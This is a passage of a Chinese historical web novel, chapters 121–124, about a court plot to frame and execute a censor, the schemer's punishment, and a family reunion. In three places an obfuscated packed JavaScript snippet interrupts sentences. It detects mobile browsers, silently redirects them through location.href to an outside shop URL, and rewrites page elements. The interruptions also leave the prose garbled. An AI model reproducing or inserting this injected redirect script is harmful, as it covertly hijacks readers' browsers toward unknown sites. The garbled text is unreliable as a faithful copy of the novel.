这几年,辛南佐感觉身体衰老的厉害,一觉醒来浑身都疼,精神也越发空虚,唯独想起陶修,那孩子温顺孝顺的模样才能给他暮气沉沉的心带来安慰。不敢奢求陶修能原谅,只要他还能来再看他一眼,能见上一面就好。 陶修仍旧如前在校场编练新军,紧急程度比之前更甚,他从公仪林处得知,南徐州的护国将军卢思苌、历阳的扬武将军鲁云渊二人奉诏将于八月一齐赶赴都城共议夺淮大事。 这些年,大陈与民休息、养精蓄锐,欲图在前朝手中丢失的淮北、淮南之地至今已有二十年,跟随祖皇帝开国建功的将军仅剩卢思苌、鲁云渊,谋臣还有不受新帝待见的中书监公仪达、尚书左仆射周燃,这几个老臣心怀失地之忧、不忘先帝之志,终于在近二十年后的今天,国顺民富的今日能再议当年祖皇帝都不曾实现的夙愿。 京口的江矶营和历阳的历阳大营,早为此宏图远志秣兵历马多年,尤其对手是周这样强悍的大国,更该在其为突厥所累、在淮南立足不稳之际发兵北上。 寿阳水系复杂繁密,水运便利,为江南之师北上的交通要冲,它是夺回淮南必先攻下的城池。 大陈为此在寿阳三面都建下难以攻破的城池,一是东南方陶修治下的漳南城,二是正南方薛际刚接手不到两年的衡新州,另一个则是西南方向公仪檀所在的临川郡。这三座人口并不稠密的城形成犄角之势围住寿阳,双方虎视眈眈,你亡我之心不死,我杀你之意不灭。 当初公仪林安排陶修做这漳南城主,正是因此城县尹位置空缺和地理位置的重要,还有一个原因,他的兄长公仪檀也在江北与周敌对的前沿,手握重兵,如今陶修又加紧整兵备战,暗中为公仪家的屹立不倒添了把力。 衡新州的城主薛际能到此上任纯属巧合,也在公仪林意料之外。 薛际当年跟随陈明聿回到东扬州后,因其骁勇尚武有调兵遣将的本领,且又不甘于做府中写写记记的付参事,陈明聿不愿他明珠蒙尘,将他举荐至吴州的衡新州做县丞,这是与周国接壤的诸城之一,希望他利用边境“战火不歇”的优越条件磨磨砺自身,有朝一日能成为继老将军鲁云渊之后又一护卫边疆的大将。 话说陶修也是自公仪林来之后才知晓几百里外醴县县尹竟是公仪檀。那年在西海县疫区,公仪檀将要挥鞭抽下的场景还记忆犹新,尤其是他愤怒之下说出如果他不离公仪林远点就让陶家无人的威胁,现在想来也是非常可笑,一是,那句威胁不该出自举止文雅的公子之口,二是,陶家确实无人了。 至今,陶修对他都怀有敬畏之心。 陶修现在的身份有点不尴不尬左右为难,身为萧梁贵胄,却肩负守卫大陈的重担。不知两国的朝臣知晓他的身份会作何评判,他自己尚且稀里糊涂,对梁国,也没有强烈的归属感。 今后何去何从,他还在迷途上不知选择。 121.伯侄俩的密谋 小半年下来,江锦意不但学会蹒跚走路,还能奶声奶气喊几声舅舅,喊的陶修心花怒放,江家七月底动身回汝丘时,陶修更不舍的就是怀里哇哇哭的孩子。 临别那日黎明,陶家兄妹早早起来收拾行装,他们从葡萄架上剪下成熟的葡萄,蹲在井边细细清洗。 “阿兄,天气转凉时你也回汝丘看看吧,即便阿翁不在了,那终究是我们从小长大的地方。我经常怀念以前的旧事,想着想着会哭,哭的时候更想你。”陶舒的脸上有女子嫁人后的淡淡忧愁,也有故乡再无长兄的伤感。 陶修点头答应她一定会再回玉河村,还叮嘱她把交给黄四娘家的狸猫带回江家去养,“今后有锦意让我牵挂,我一定会回去,在你们意想不到的时候。” “你明明说有心仪的人,来这么久都不见她露面,到底是真的假的?做小妹的本不该管兄长的事,可我真希望你身边有个管你吃饱穿暖的人。” “你哥又不是娇惯长大的,这些小事就别放心上了。” 她确实在自寻烦恼,陶修的婚事远不是她能想象的,恐怕也已超出陶修自己能控的范围,他再不是玉河村随意找个人成亲组成一家的年轻男子。 得知他真实身份后,陶舒的震惊惶恐多日未褪,紧接而来的是强烈的疏离感,甚至不知该用哪种口气跟陶修说话,喊了多年的哥哥一下子变得陌生、威严。直到有一天,陶修对她说:“小妹,我想吃豆脑。” 他还是那个喜欢在豆脑上洒一撮小葱的陶修,而非萧琢。 送行的车辆又一次出城,马车踽踽行驶在蜿蜒小道上,他们春天来的时候满地锦绣,去时已是初秋。陶修两次回头看那对难舍难分的小情人,总算是逮到了打趣张城的话头。 “身边左一个右一个都是汝丘来的,我真想即刻去汝丘看看,究竟是什么藏龙卧虎山明水秀的地方养出你们这些人。”已经送到不能再远的地方了,张城把江旋的手按到他薄衣下怦然跃动的心脏上,低头凝视羞赧不敢看他的姑娘:“最迟今年底,我会去汝丘,把我送给未来的岳丈大人审视,看看我能不能做他宝贝女儿的夫婿。” 江旋抬起晶晶亮的眼眸,正经严肃:“父亲他听我的。” 她的额头饱满光洁,脸颊白嫩细腻,张城突然脑袋晕乎、喉头发紧,咽了口唾沫,抓她手的力道大的惊人,结结巴巴问:“我,我想亲你一下。” 江旋惊恐炸毛,飞速环顾四周,不待她拒绝,张城捧起她的脸在脑门上狠狠亲下去。江旋用手背遮着被亲的位置,像只受惊吓的夜鸟,愣愣地仰头看着他,一样的位置被同一个人亲吻两次,却是不同的感觉,上次的吻给惊慌中的她莫大安抚,刚才这一下,江旋像踩了冬日湖面的薄冰,“咔”一声就手足无措地陷入河水里,直到马车悠吱悠吱走下很远看不到城墙,她才感受到离别的忧伤。 * * * 回到建康的公仪林立即着手陶修去江陵寻亲一事。他先找到公仪达,把陶修这样一个人物和经历都讲述一遍,问有什么好办法让陶修既能留在大陈又能拿回显赫的身份。 公仪达反问他:“此人身份是做质子的极佳人选,你为何非要他回国?萧梁作为周国的属国,能捏住这样一枚棋子,对我大陈来说是件好事啊。” “质子?”公仪林汗流浃背,这可不是他想要的结果,“流落在外多年,认祖归宗人之常情。如果旁人也是大伯你这样的想法,我看他这个祖宗不认也罢。陶修做回萧梁子弟后若还能回到漳南,他的作用无异于萧钰投诚大陈,都是受梁主之托,是把对抗周国的利刃,其身份带来的号召力绝非平常官员可比,陶修已在漳南扎稳脚跟,八月卢思苌将正式上表挥师北上的计划,那时,陶修若以梁室身份奋起伐周,其手下之师必然士气大振誓死跟随。” 公仪达沉思片刻,分析其中的利弊,道:“陈、周开战,这个陶修的萧姓身份确实能以梁室之名出兵,但是你别忘了,萧家曾经就是从这座城里被赶走的。此人可信么?” “和我一样,吴郡汝丘人罢了。” “思来想去,我还是觉得他适合做个质子。” 公仪林登时站起来,以手指天,不容置疑的语气表态:“大伯,我以项上人头作保,他与我同心。” 公仪达见他反应激烈大为不解,看呆子似的朝他轻翻一个白眼,“你是否听说过,梁主即位三十年却无子嗣?” “那又如何?”公仪林心里已有不好的预感。 “梁主宴驾后,若无意外,按顺序,帝位也该轮到岳阳王萧宸,萧宸早就无心国事,嫡子年纪正当,又在战场上淬炼过本领,你说此事与萧琢有没有关系?假如当年萧琢没被拐走,可能梁室的储君之位早就有人了。” 公仪林指天的手颤颤巍巍垂下,咽了下发紧的喉头,茫然地说:“他只是个乡野少年啊!”事态怎么朝着他不能控的方向爬行了?他不过是热心肠的想帮陶修找回亲生父母罢了。 见他傻愣愣杵在那,公仪达随口提了一个官职:“员外散骑侍郎,如何?” “员外散骑常侍?”公仪林心神不定慢慢盘膝坐下,“这个虚职不错,既有王公贵族之名又为闲职,有名无实,正适合陶修。”末了又谨慎的强调一句:“他决不能做质子。” 天气早晚已变得清凉,伯侄二人在院中铺好的竹席上促膝而谈、纳凉品茗,落日西下,他们交谈的融洽程度甚至胜过父子。 杨易弘一党在朝恃宠行霸时,此公仪伯侄俩另加太府的周敬书合谋,把侍御史施中安斩于宫门外,这件事算是天顺三年最值得一提的大事,也把杨氏朋党的三个主心骨给抽去一根。 在这件事上,公仪达、公仪林于书房密谋多日,那段时间,他们是排除异己的同党、是血脉相连的族人、是杀人夺命的同谋,事成后,公仪鸾私下心有不甘地问公仪林:“我还是他的儿子吗?到底我是,还是你是?” 今年春天那会,公仪林早就打算去漳南拜访挚友,却因杨弘易、施中安二人几番在陈主跟前诋毁公仪达,说其人虽是三朝老臣,但已老迈昏聩,权利熏天,以权谋私,早该退位让贤。听这话的人一次两次倒还不当回事,反而回劝他们:“公仪家是吴郡百年望族,祖上是数出名的三公九卿,哪怕富可敌国也是他们祖宗留下的良田钱财,至于权利熏天,公仪达可是开国的功臣呐,几个世家大族不都如此吗?” 但后来的几次宴席上,公仪达对围绕在陈主身边咿呀吟咏作赋的风流文客流露出鄙夷之色时,陈主突然发现:公仪老头确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518655|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老了,老迈昏庸,该回家养老去了。 严重威胁公仪家根基的信号一旦出现,公仪林访友的计划只能一拖再拖。他们决定,先杀杨党中的一人以儆效尤。 最终,公仪达选中了贪财好色的侍御史施中安。 施中安凭自身能力官至侍御史,小有文墨,和杨弘易交好,年轻时吃过不少贫穷的苦,所以爱财如命。因侍御史有督察巡视州郡的权利,他利用权利之便心安理得接受无数州郡官员敬上的金银钱帛,听说他有一间密室,里面摆满奇珍异宝,宝物射出的光芒能穿透墙体,远胜过皇宫的灵珠阁。 金帛局有一尊前朝留下的纯金花瓶,被放置在灵珠阁置宝的架上蒙尘多年,无人敢用,架子虽蒙尘了,这尊金花瓶却被来来往往的人摸的光彩夺目。施中安去过金帛局有幸摸过几次,把小臂长的花瓶搂在怀里,一寸一寸触摸上面镂空的纹饰和嵌合的红蓝宝石,无不遗憾地对身边人说:“可惜是前朝旧物用之不详,搁置在这里太浪费,融了重铸又毁了这巧夺天工的花样。” 身边有人顺嘴拍马屁:“施大人整日操劳有功于朝廷,又有爱惜宝物的怜悯之心,干脆让陛下赏给大人保管,这宝贝也算是有了价值。” 施中安撸猫一样又对花瓶撸上几把,放回架上,“太贵重了。” 公仪达听闻过此事。他把即将与之联姻的周家周敬书秘密叫到府中,欲以这个金花瓶为诱饵钓施中安上套。 周敬书为人耿直,嫉恶如仇,早看不惯杨党三人。他趁夜来到公仪府进入公仪达的书房,恰好碰到迎面而来的公仪林,忙客气的拱手施礼。周敬书去年就把这年轻人视作准妹夫,在朝中接触不多,但见面时倍感亲切,逢人就夸赞公仪林仪表不凡,还年轻有为。 三人围成一圈,中间点一盏瑟瑟发抖的油灯。 “需一道旨意让施中安相信金瓶确实赐给了他,又是什么由头赏赐他。”公仪达盘坐在席上,从来都是拢袖弯腰的模样,说话不疾不徐。 公仪林道:“去年,施中安不知从哪弄到洛神图真迹献于圣上,圣上赏画时啧啧称叹,问他要何奖赏,就以此为由头。” 周敬书看向公仪达:“这就需要老大人写一道御书,盖上圣上的宝印,由我亲自交到施中安手里。金瓶如此贵重稀有,想必他也不会托人去灵珠阁取。等他带着宝物走的时候,我就找到右卫将军言说灵珠阁失窃,剩下的事就看右卫将军的了。” 这个太府的周敬书本就是掌管皇宫库藏的人,由他递上御札给施中安合情合理。可是这御札一旦写了就有假传旨意的罪名,若要让御札从施中安身上消失,就必须速斩他于宫门外。 公仪林坐的笔直挺拔,两手放于双膝上,目不斜视盯着豆大的火头,沉思片刻,冷峻严肃地对二人道:“一旦拿到金瓶,他就只能死,此事由我来个结尾。” 这个杀人的令必须由他下达,堂而皇之的杀死施中安,陈主态度如何谁都捏不准,唯一肯定的是,公仪家族绝对不是一个无家世背景凭借自身实力走到这个位置的施中安所能比。 还有一点,在宫门外制造血腥以及亲手杀人,对年岁不大的公仪林而言,显得过于重大和沉重。 他们制定好计划后,到四月终于付诸行动。 122.给朕跪外面去 四月二十二那日,春风柔和,天气阴翳。施中安按他们计划的一样顺利拿到周敬书亲手递给他的圣上的手谕,毫无防备走向金帛局,踏入灵珠阁。 周敬书把金瓶装入檀木盒盖上红绸,封盖时还对施中安笑说:“施大人终于得偿所愿,这可比搜刮民脂民膏轻易的多,回去时可要抱好了啊!” 施中安悻悻地接过檀木盒,打开仔细检查一遍后小心合上盖子,冷笑道:“宝贝要有人珍藏、欣赏才叫宝贝,烂在淤泥里的珍珠、藏在深山中的玉,若没有人欣赏就一钱不值,就是一堆砂浆粗石。” 他把檀木盒夹在腋下原路走出金帛局,一路上没碰到一个人影,气氛似乎有点不对。几株花瓣早已败落的樱树在不温不冷的晚风中发出沙沙声,像鬼祟的脚步一路尾随,施中安心怀忐忑,几次回头。他在空荡荡的路上加急脚步,直至走到西明门,看见等候在老地方的马车,和平常一样杵在宫门两旁的禁卫,才把一路上的不详之感忘在脑后。 施中安被大仆扶上马车,车轱辘缓慢碾压在青石道上。约莫走下不到一里,突然从宫门内飞驰出五匹骏马,五人皆身着黑色精铠腰配长剑,面目森寒,他们像离弦的箭紧追目标,只须臾就追上施中安的马车。 禁卫军的烈马五个方位围困住紧急勒停的车辆,一名禁卫拽下惊慌色变的马夫、拎出满面喜色的施中安,在他的面孔由喜转惧的瞬间,禁卫军不容分辩,干脆利索抽出利刃一剑结果了他的性命,而后对周围不敢靠近的人群高喊:“灵珠阁失窃,奉命缉贼。” 奉的是谁的命,自然是公仪林下的命令。 他因“盲目”下达命令导致侍御史横死一事在太极殿前跪了整整三天。 施中安被斩于宫外的事情说大不大,说小不小。百姓觉得住在金屋银床上的施中安死得好,何况临死还有金瓶拥怀。但对陈主而言,眼皮底下官员被杀,无异于挑战和无视他的权威。 陈主勃然大怒,指着公仪林破口大骂:“你们公仪家眼中还有谁?你们几个世家眼中还有朕的位置?为个破瓶子就敢杀朕一名侍御史,简直目无国君、罔上虐下。” 周敬书低头缩肩走出文班队列,高声辩解道:“施中安趁灵珠阁无人偷窃蓝海金纹瓶是事实。是臣看见‘窃贼’的身影未加辩认就匆匆报给正巡逻的公仪右卫,是臣眼盲脑笨,请陛下降罪。” 公仪林跪在大殿中央,彷徨不安地认罪和阐述事情经过:“刚听到周大人禀报灵珠阁失窃,臣惊恐不止偷窃一事发生,恐还有其他危险环伺在周围,立即让部下追杀出去。哪知侍御史的马车越跑越快,情急之下做了非常之事,一切都是臣思虑不周、不胜其任的结果,臣惶恐,今愿解绶脱甲,请陛下降罪。” 公仪达心下一惊,没料到侄子竟辞官请罪,匆忙站出来以退为进请罪道:“陛下,公仪林担任右卫不到两年,经验不足能力欠缺,未追查清楚就斩窃贼于宫外、枉杀侍御史,确实严重渎职罪不可逃,该交于廷尉细查核实,若其护过饰非,就……” 陈主冷笑一声,眯眼瞧着公仪达,问:“就怎么样?你说说——” 公仪达犹犹豫豫道:“还请陛下定夺。” 他们这些轻易就能戳破的狡辩之词,就是仗着身后庞大的家族势力,陈主对此无可奈何。陈明俨气的牙痒痒,他们这帮老东西就看不惯施中安写几首顺口的曲子,看不得杨弘易对着他说几句奉承话,非得逼他整日面对他们这帮如死了考妣般紧绷肃然的脸和满案索然无味的文书奏折。 这口气实在难以下咽,陈明俨指着公仪林大声斥责:“既然有过,就给朕跪到外面去,朕让你什么时候起来你就什么时候起来。” 恰逢这几日阴雨连绵,一向贵如油的春雨突然就不“贵”了,断断续续、时大时小下个不停。公仪林跪在殿外冰冷的砖石上,双手顺从的垂于两侧,任冷风借着雨丝释放数倍的冷意,冻的牙齿不住打颤,他愣是没肯把腰弯一下。 第一日,公仪林为了面子和铲除杨党一员的喜悦还能高傲地跪着,但到第二日,久跪的双膝逐渐石化,剧痛钻心,剔骨的疼顺着一根根经脉爬遍周身,雨水和冷汗顺着苍白的脸颊滚下。小心翼翼伸腿缓和关节时好像看见九十岁高龄的自己是如何遭人嫌弃的模样。冷,四月的天是比天寒地冻的腊月还冷,饿,这场惩罚后他一定要喝碗滚烫的银耳汤,渴,雨丝都润不了他焦干的双唇。 他跪在和风细雨的大殿前,还要忍受各色官员的指指戳戳和冷嘲热讽。 迷蒙的雨丝突然从头顶消失,公仪林艰难狼狈地抬起头看是谁人帮他遮雨,原来是杨弘易举一把鲜红的油纸伞挡了他的凄风苦雨,那人俯视着他冷笑一声:“右卫将军要伞否?” 午后的雨势停了会,杨弘易又来了,右手托着两个滚烫的红糖馒头,边嚼边问:“右卫将军食饭否?” 即便公仪林不屑回答他,但那副被风吹雨打的可怜模样早已解了杨弘易心头之恨。杨弘易仰头大笑一声,伸出食指戳了下公仪林的肩头,像戳条滚在泥浆里奄奄一息的狗,冷声道:“公仪家不会永远只手遮天。” 公仪林也冷酷地回击他:“你擅权谋私、党同伐异,身在都城却狡获监军权,有奸必有贤,公仪家就是抵在你咽喉的刀。” “啪”一声,杨弘易把一个馒头丢在他跟前,压起一撮小水珠,“赏给你吃。”说完大笑一声扬长而去。 被人丢食的耻辱使公仪林恼羞成怒,撑着腿爬起来追出去,却受关节的连累扑倒在水中,溅了一身泥水更狼狈不堪。 第三日雨又大了些,膝盖和腰椎好像已被碾碎,公仪林头晕目眩几欲想吐想晕过去,他忍耐着煎熬着,脸色已由白变青,浑身筛糠似的发抖。陛下会松口的,陛下一定能心软。头上吸饱水分的小冠像块石头压得他脖子难直,哆哆嗦嗦摘下小冠放置在腿边,乌黑的发丝凌乱垂下后更显凄楚可怜。 陈明俨抱臂站在大殿的廊下,高高在上俯视雨幕中凄惶渺小缩成一团的人,问身边的宫人:“他跪了几天?” “还有两个时辰,整整三天。”宫人答道。 “好,两个时辰后扶他回去。” 见圣上松口,武卫将军陆颢终于舒了一口气,数着瓦檐上滴答滴答的水声等待着,时辰一到,立即撑伞冲进雨中,跑到公仪林面前急切的道贺:“景风,可以回去了,惩戒已结束,陛下下令让你回去。”他丢了伞要扶起公仪林。 关节僵硬、意识模糊的人哪还能轻易扶起,公仪林搭上陆颢肩膀试图站起来,碎骨抽筋的疼让他咬牙闷哼一声,终于重重倒在雨水里晕了过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈颛沉声道:“方才公仪右卫已言说萧琢归附大陈的益处,何况他求的不过是一个闲职,有名无实。假若萧琢回江陵承袭爵位,把这样一个骁勇善战的人放回去,我认为比用一个虚职留住他要损失得大。还有萧钰既然已投诚大陈,就是大陈的子民,如果都似杨尚书这样揣测人心,疑而不信,我倒要问问于你又有什么益处?” 陈主见殿上又要吵起来,忙伸臂压住两边:“都平心静气,莫要吵。不就一个虚职嘛,朕封他就是。朕的手下有两个萧梁的人,这不正能壮我声势、显我国威。” 陶修的官职被他们敲定之后,公仪林又站出来说道:“陛下,臣还有一事。” “还有何事?” “萧琢进京谢恩后,臣欲同他去一趟江陵,帮他认祖归宗见过亲生父母后定会立即返回建康,望陛下恩准。” “你,你——”陈主气的瞠目结舌,“你整日头可好多事啊,动不动就离京十几二十天的。萧琢有亲人在此地吗?” 公仪林知道圣上担心萧琢回故土后一去不返,只得如实相告:“只有一个小妹留在吴郡,已嫁做人妇。”为消除圣上的疑虑,他又强调一句:“去年他的小妹生了一个女孩,萧琢视如己出疼爱有加,上次他与甥女分开时,抱着甥女落泪不止。” 虽这次回来的急促未曾见到陶修和甥女离别的场面,想必和自己脑中想出来的没有二致。 就这样,天顺三年的七月下旬,陶修就接到从建康传来的封官敕书。 123.你被圣上罚了 张城细摸金丝玉线装裱的敕书,对其上“萧琢”二字陌生又好奇,自从陶修做这漳南县尹开始,他的人生就好像开启了新通道,通道另一端全是达官显贵、王公贵族,“员外散骑侍郎又是什么?你还会有哪些身份,我们是不是要离开此地去建康了?” “是我要去趟京城,你们都留下。” 陶修把漳南的兵马统领交给周石,又让张城协助县丞管理好他精心壮大的小城。一切准备就绪后,八月初十那天,他带上胡峤秘密离开了漳南。 临行前,张城帮不苟言笑的胡峤紧紧衣领、捋顺衣褶,叮嘱道:“一定要保护好城主的安危。” “属下会以命相护。” 将要出城门时,陶修突然调转马首朝永定寺方向奔驰。他在看见佛塔檐角的铃铛时放缓速度,脑中千头万绪,在寺院外面徘徊很久,终究没有下马。鼎盛的香火在无风的清晨直冲青霄,陶修的目光在白色轻烟消失的半空停留很久,才回头对胡峤喊一声:“走!” 四年,公仪林有四年没回过汝丘。这几年间,公仪夫妇挨不住思子之苦,几次奔波在看望两子的路上,年纪逐渐压身,两老的走动就不似之前那样勤快。 对比二儿子,公仪曲更想念的是事事不令他烦心的长子。公仪檀就像个模范儿子,出仕结婚生子按部就班样样不落,该什么年纪做什么事,父子两人坐在一起时那场景才是父慈子孝,上至朝堂政事、下至左邻右舍都能拿过来说谈一番,谈笑风生,其乐融融,外加一个疼人又聪慧的孙儿绕膝承欢,公仪曲这棵老树在长子家中能感受亲情的枝繁叶茂,开怀地合不拢嘴,一旦公仪夫人提出:“去看看槐序吧?” 公仪曲就把脸一沉,冷声道:“看他作甚,满院子花花草草,冷冷清清,大夏天也冻我一身鸡皮,能耐了他,去他那我连骂他两句都不敢。不去!” 怎么可能不去,长子的稳重内敛、老成练达他很满意,次子那副被他千“锤”百炼过依旧嚣张跋扈的热闹性子他看着也没那么不顺眼,吊儿郎当的模样做事却毫不含糊。 晃晃悠悠,夫妻二人乘着马车带上故乡的土特产再次出发,路上一边抱怨这个没心没肺的混账东西野的四年不回家,一边又宽慰自己说儿子的肩上担的是整个城的安危。 总算今年的仲秋节可以团圆一次。 老夫妻俩八月初十到京城,他们给绒华院带来的浓重喜悦还未变淡、公仪林见到老母时盈眶的热泪还未干,十二那天清晨,公仪檀来了建康且已进城的消息把公仪林震惊的欣喜若狂,连衣裳都来不及换就骑马迎了出去。 公仪林上次看见公仪檀还是三年前,初来京城步入仕途,长时间遭人排挤打压,众人嘲讽他年纪轻轻竟上来就做了左卫率,又在几场刻意挑衅他的比武中连连失败,心情郁结,孤独迷茫,一气之下骑马去了醴县。 他在醴县住了五天,寸步不离跟在公仪檀身后,看兄长不疾不徐地处理公务,温和宽厚对待身边的人,几天时间学来的不多,唯把兄长要他诸事宠辱不惊,忍辱负重谨记在心。任谁对他冷嘲热讽,都以一副漫不经心的态度挡回去。 五天后要走时,备受他蹂躏差遣的侄儿公仪佑笑嘻嘻指着他说:“终于要走了,我不喜欢你,也不要再见到你。”公仪林一把拎起他的后领,把他的小脸堵到眼前,威胁道:“不好好跟我告别,我就让你爹把你送我家去。” 公仪佑在他手里挣扎哭泣,立即改了语气:“叔父宽宏大量,佑儿知错了,往后还听你使唤。” 这趟远行最不愿来的人就是公仪佑,全程坐在角落一言不发。直到公仪林和兄长热切地拥抱之后,深受二叔“折磨”的孩子还不肯下车相见。 公仪林站在外面轻叩窗沿,故意激将道:“佑儿,你父亲说这趟来你就不用走了,把你留在我这里听我教诲,我正好缺个小孩玩玩,你意下如何?” 车帷被一把扯开,露出一张稚气清秀的脸,满面怒容,几欲哭泣,大声道:“我绝不留下,送我回去,哪怕一个人留在家中。” “下来——”公仪檀对儿子一声怒喝,大不似平日温和的形象,看来是个严父。 那小子慢慢悠悠从车里跳出来,拽弄衣摆不肯抬头。 “给我好好见过你叔父。” 公仪佑倔强地抬起头,一双清亮又不服的眼睛盯着高大的叔父,半天才弯腰行礼:“侄儿问叔父安。” “几岁了?” “将要六岁了。” 公仪林摸摸侄儿的脑袋,突然转头问兄长:“这么大的小子,要是被歹人拐走了,还能不能记得从前的事?” 公仪檀被莫名其妙的一问弄的不知如何回答:“这,为何想到这个?你别吓他。” “随口问问。” 一家人团聚的喜悦自不必说,他们坐在初秋的绒花树下品茶闲聊,欣赏满院绚丽多彩的花草,道不出的温馨和睦。 公仪佑滚在祖母怀里,戒备地提防叔父,生怕那爱欺负人的叔父突然要他从四书五经中背上一段。在公仪林第五次朝他看过去时,小孩终于忍不下去,大声反问:“叔父不是习了一身好武艺嘛,何不趁家人团聚时露几招?” 好你个小子,敢先下手为强骑到你叔父头上来。公仪林沉住气,双臂抱在胸前直视着他,不苟言笑:“好,仲秋节当日我给你展现一下本领。但礼尚往来,我听说你琴棋书画样样都行,我对那些取悦人的东西不感兴趣,仲秋节当天你就把礼记的中庸篇背于我听。” 公仪佑精神一震坐了起来,惊恐地反驳:“叔父是疯了?我才这么小,父亲他都不一定能背出来,竟然来要求我?” “你爹十岁就会背了,你比他缺什么?看你伶牙俐齿什么都不怕的模样,背个书而已嘛!” “比他缺少的是时间,叔父给我四年时间我也能背。” “是你先提出的挑战,难得我心情好陪你玩玩,别扫兴啊。” 公仪夫人揽过孙儿又揉进怀里,疼不够,呵呵笑道:“若没有你来衬着,你二叔在我跟前就还像个孩子,这会我怎么瞧他都讨厌,佑儿大胆的跟他比,输了也无妨,祖母给你撑腰。” 一下来这么多人,绒华院的房间挤挤总归是能住下的。夜晚清凉,星空澄澈,绒花树上三两盏灯笼把郁郁葱葱的小院照的格外幽静。树下用光滑的木板建了一方平台,宽敞舒适,足够一家人坐在上面用膳,还够公仪佑来回走动避开他叔父的魔爪。 这还是公仪老夫人第一次在屋外用饭,她仰望枝丫间透出的星光月华,新奇地夸赞道:“以天为幕,以地为席,坐在此处连吃东西都变得高雅了。” 公仪曲不冷不热道一句:“一般般,饭上都落了尘土吧。” 公仪檀笑对母亲说:“是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545812|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲见家人难得团聚,心满意足,见什么都格外舒服。当然,槐序的小院确实清雅幽静,看来是下了功夫了。” “是那帮丫头们闲着无事种着玩。” “‘绒华院’之名是取自这棵树吗?中间的字是不是弄错了?” 公仪林低头哂笑,“没错,就是‘华’字。确实与绒花树有关,但不是院中这棵。” 晚膳毕,一众人在将圆的月色下说笑一阵,年纪大的小的都熬不住夜深纷纷回屋睡了,只剩下公仪兄弟二人促膝而坐。三年不见的漫长时光足够他们喝上几杯聊上一夜。朝中大事他们不谈,就说些家长里短,公仪檀几番要发问,话到嘴边又咽下,不知如何开口。 浅金色的月爬至中天,深邃的草丛传出几声蛐蛐的鸣叫,公仪檀眼看兄弟醉意袭脑找不着北,说话已经有些颠三倒四,朝他跟前挪了一点,扶住他的肩膀试探着问:“槐序?能认出我吗?” “忘了谁都不能忘了你啊,你是,你是我哥——”他以手撑额,把公仪檀打量一遍,突然饱受委屈的嘟哝道:“哥,你能留在我身边多好。大伯骂我时你给顶着,杨弘易那狗东西耀武扬威时你帮我打回去。我在大殿前跪了三天饿了三天,姓杨的用一个馒头羞辱我,他竟然像喂狗一样把馒头丢在我面前。” 公仪檀对他四月那会受罚一事一无所知,震惊心疼地问:“那件事,你被圣上罚了?为何没告诉我?” “我忍了他的嚣张,馒头被雨水泡化冲走了,我没吃,但他却逢人就说我吃了,兄长,你跟我说不去计较,我放了他。”杨弘易那狗东西最擅从细处侮辱人,计较起来不值当闹一回,不计较,他的侮辱就像卡在喉咙的刺,咽下的每一口唾沫深受鱼刺剐蹭,食难下咽。 “不用憋着,要不要我帮你出口气?” “算了吧,都过去很久了,何况,杀一个侍御史足够灭他气焰。”一阵夜风拂过,草木稀碎作响,花香馥郁,公仪林意识不清地望着公仪檀,眨巴几下眼睛,突然歪在他腿上睡了过去。 “槐序,我还有问题要问?”他轻拍其脸,唤了几声都没有应答。 如果说公仪檀一家的到来激起了公仪林心中的汹涌波涛,那么,八月十三那日清晨的一封拜帖就已让他的惊涛骇浪再次天翻地覆。 拜帖是胡峤送到门子手中的,绒华院每日都有拜帖送来,门子把毫不起眼甚至有点朴素的帖子先是交给冰清玉润,四个丫头不识字,围着帖子辨认半天后又交给司子,“大管事,这几日要来访的人真多,我们院子真热闹啊!” 司子漫不经心地打开帖子,用不识几个字却很精明的双眼扫了一下,忽然被一个“陶”字震住,这几年形成的条件反射,他对陶修的存在快要比公子还敏感。 捧着帖子来的一路上,司子想起公仪家的每个人都不知道他几年前就知道的秘密,不知陶修的到来会不会带来海啸山崩。 公仪林因昨夜宿醉还在沉睡,司子可管不了那么多,兀自推开门走到床边高声喊了句:“二公子,有拜帖。” 公仪林头疼欲裂,挥臂撵他出去:“任谁都不见,让我再躺会。” “行,我让陶修陶公子先回去,等您醒了酒再去见他。” 已走至门边的司子听到一声颤音,“你说谁?”回头望去,公子已起身端坐床边,炯炯闪动的眼睛问询他:“谁来了?” 124.他还阴魂不散 公仪林接过仅用一张朱红硬纸一叠为二的拜帖,上面字迹已然清秀工整,落款人正是陶修,言说午后登门拜访。 其实,这封并不正式的帖子是陶修纯属觉得有趣,又能配合公仪林的身份而突发奇想的雅趣。没料到会把收帖人心里压抑隐藏的思念勾出来。 公仪林情绪激动,迈步走下床踏时打了个趔趄,立即吩咐司子给他更衣梳洗。 “午后才登门,公子要不再睡会?”司子是故意的,就想看看每回提到陶修时公子到底能慌张成什么模样,上辈子二公子肯定害过陶修,这辈子才来还债了。 “送帖人走了?往哪个方向?” “出门往东了,不知他们落脚在何处。” 